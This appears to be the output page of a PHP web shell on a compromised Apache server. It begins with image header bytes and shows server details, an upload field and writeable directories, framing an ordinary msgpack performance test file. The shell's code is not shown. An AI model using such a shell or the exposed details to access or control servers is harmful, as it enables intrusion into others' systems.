����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/usr/share/tests/pecl/msgpack/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/tests/pecl/msgpack/tests/035.phpt
--TEST--
Profiling perf test.
--SKIPIF--
<?php
if (!extension_loaded("msgpack")) {
    die("skip");
}
if (defined("PHP_DEBUG") && PHP_DEBUG) {
    die("skip debug build");
}
?>
--FILE--
<?php
$data_array = array();
for ($i = 0; $i < 5000; $i++) {
    $data_array[random_bytes(10)] = random_bytes(10);
}

$time_start = microtime(true);
for ($i = 0; $i < 4000; $i++) {
    $s = msgpack_serialize($data_array);
    $array = msgpack_unserialize($s);
    unset($array);
    unset($s);
}
$time_end = microtime(true);

if ($time_end <= $time_start) {
    echo "Strange, $i iterations ran in infinite speed: $time_end <= $time_start", PHP_EOL;
} else {
    $speed = $i / ($time_end - $time_start);
    printf("%d iterations took %f seconds: %d/s (%s)\n",
        $i, $time_end - $time_start, $speed, ($speed > 400 ? "GOOD" : "BAD"));
}
?>
--EXPECTF--
%d iterations took %f seconds: %d/s (GOOD)

ZeroDay Forums Mini